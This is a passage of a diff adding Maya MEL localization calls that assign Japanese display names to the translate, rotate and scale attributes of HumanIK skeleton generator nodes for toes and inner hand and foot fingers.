"HIKSkeletonGeneratorNode", "RightFootPinky4Rx", "右足小指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Ry", "右足小指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Rz", "右足小指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4S", "右足小指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Sx", "右足小指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Sy", "右足小指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Sz", "右足小指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1T", "右足追加指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Tx", "右足追加指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Ty", "右足追加指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Tz", "右足追加指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1R", "右足追加指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Rx", "右足追加指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Ry", "右足追加指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Rz", "右足追加指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1S", "右足追加指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Sx", "右足追加指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Sy", "右足追加指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Sz", "右足追加指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2T", "右足追加指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Tx", "右足追加指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Ty", "右足追加指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Tz", "右足追加指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2R", "右足追加指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Rx", "右足追加指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Ry", "右足追加指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Rz", "右足追加指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2S", "右足追加指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Sx", "右足追加指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Sy", "右足追加指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Sz", "右足追加指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3T", "右足追加指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Tx", "右足追加指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Ty", "右足追加指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Tz", "右足追加指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3R", "右足追加指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Rx", "右足追加指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Ry", "右足追加指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Rz", "右足追加指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3S", "右足追加指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Sx", "右足追加指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Sy", "右足追加指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Sz", "右足追加指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4T", "右足追加指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Tx", "右足追加指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Ty", "右足追加指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Tz", "右足追加指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4R", "右足追加指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Rx", "右足追加指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Ry", "右足追加指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Rz", "右足追加指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4S", "右足追加指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Sx", "右足追加指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Sy", "右足追加指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Sz", "右足追加指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbT", "左手内側の親指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbTx", "左手内側の親指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbTy", "左手内側の親指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbTz", "左手内側の親指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbR", "左手内側の親指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbRx", "左手内側の親指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbRy", "左手内側の親指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbRz", "左手内側の親指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbS", "左手内側の親指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbSx", "左手内側の親指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbSy", "左手内側の親指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbSz", "左手内側の親指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexT", "左手内側の人差指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexTx", "左手内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexTy", "左手内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexTz", "左手内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexR", "左手内側の人差指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexRx", "左手内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexRy", "左手内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexRz", "左手内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexS", "左手内側の人差指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexSx", "左手内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexSy", "左手内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexSz", "左手内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleT", "左手内側の中指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleTx", "左手内側の中指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleTy", "左手内側の中指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleTz", "左手内側の中指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleR", "左手内側の中指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleRx", "左手内側の中指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleRy", "左手内側の中指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleRz", "左手内側の中指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleS", "左手内側の中指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleSx", "左手内側の中指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleSy", "左手内側の中指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleSz", "左手内側の中指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingT", "左手内側の薬指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingTx", "左手内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingTy", "左手内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingTz", "左手内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingR", "左手内側の薬指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingRx", "左手内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingRy", "左手内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingRz", "左手内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingS", "左手内側の薬指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingSx", "左手内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingSy", "左手内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingSz", "左手内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyT", "左手内側の小指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyTx", "左手内側の小指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyTy", "左手内側の小指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyTz", "左手内側の小指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyR", "左手内側の小指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyRx", "左手内側の小指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyRy", "左手内側の小指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyRz", "左手内側の小指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyS", "左手内側の小指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkySx", "左手内側の小指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkySy", "左手内側の小指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkySz", "左手内側の小指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerT", "左手内側の追加指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerTx", "左手内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerTy", "左手内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerTz", "左手内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerR", "左手内側の追加指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerRx", "左手内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerRy", "左手内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerRz", "左手内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerS", "左手内側の追加指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerSx", "左手内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerSy", "左手内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerSz", "左手内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbT", "右手内側の親指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbTx", "右手内側の親指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbTy", "右手内側の親指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbTz", "右手内側の親指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbR", "右手内側の親指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbRx", "右手内側の親指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbRy", "右手内側の親指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbRz", "右手内側の親指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbS", "右手内側の親指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbSx", "右手内側の親指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbSy", "右手内側の親指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbSz", "右手内側の親指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexT", "右手内側の人差指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexTx", "右手内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexTy", "右手内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexTz", "右手内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexR", "右手内側の人差指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexRx", "右手内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexRy", "右手内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexRz", "右手内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexS", "右手内側の人差指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexSx", "右手内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexSy", "右手内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexSz", "右手内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleT", "右手内側の中指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleTx", "右手内側の中指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleTy", "右手内側の中指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleTz", "右手内側の中指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleR", "右手内側の中指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleRx", "右手内側の中指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleRy", "右手内側の中指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleRz", "右手内側の中指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleS", "右手内側の中指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleSx", "右手内側の中指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleSy", "右手内側の中指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleSz", "右手内側の中指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingT", "右手内側の薬指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingTx", "右手内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingTy", "右手内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingTz", "右手内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingR", "右手内側の薬指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingRx", "右手内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingRy", "右手内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingRz", "右手内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingS", "右手内側の薬指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingSx", "右手内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingSy", "右手内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingSz", "右手内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyT", "右手内側の小指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyTx", "右手内側の小指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyTy", "右手内側の小指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyTz", "右手内側の小指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyR", "右手内側の小指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyRx", "右手内側の小指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyRy", "右手内側の小指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyRz", "右手内側の小指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyS", "右手内側の小指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkySx", "右手内側の小指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkySy", "右手内側の小指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkySz", "右手内側の小指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerT", "右手内側の追加指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerTx", "右手内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerTy", "右手内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerTz", "右手内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerR", "右手内側の追加指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerRx", "右手内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerRy", "右手内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerRz", "右手内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerS", "右手内側の追加指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerSx", "右手内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerSy", "右手内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerSz", "右手内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbT", "左足内側の親指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbTx", "左足内側の親指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbTy", "左足内側の親指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbTz", "左足内側の親指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbR", "左足内側の親指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbRx", "左足内側の親指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbRy", "左足内側の親指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbRz", "左足内側の親指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbS", "左足内側の親指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbSx", "左足内側の親指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbSy", "左足内側の親指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbSz", "左足内側の親指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexT", "左足内側の人差指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexTx", "左足内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexTy", "左足内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexTz", "左足内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexR", "左足内側の人差指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexRx", "左足内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexRy", "左足内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexRz", "左足内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexS", "左足内側の人差指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexSx", "左足内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexSy", "左足内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexSz", "左足内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleT", "左足内側の中指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleTx", "左足内側の中指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleTy", "左足内側の中指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleTz", "左足内側の中指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleR", "左足内側の中指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleRx", "左足内側の中指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleRy", "左足内側の中指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleRz", "左足内側の中指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleS", "左足内側の中指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleSx", "左足内側の中指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleSy", "左足内側の中指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleSz", "左足内側の中指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingT", "左足内側の薬指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingTx", "左足内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingTy", "左足内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingTz", "左足内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingR", "左足内側の薬指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingRx", "左足内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingRy", "左足内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingRz", "左足内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingS", "左足内側の薬指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingSx", "左足内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingSy", "左足内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingSz", "左足内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyT", "左足内側の小指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyTx", "左足内側の小指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyTy", "左足内側の小指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyTz", "左足内側の小指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyR", "左足内側の小指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyRx", "左足内側の小指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyRy", "左足内側の小指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyRz", "左足内側の小指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyS", "左足内側の小指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkySx", "左足内側の小指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkySy", "左足内側の小指 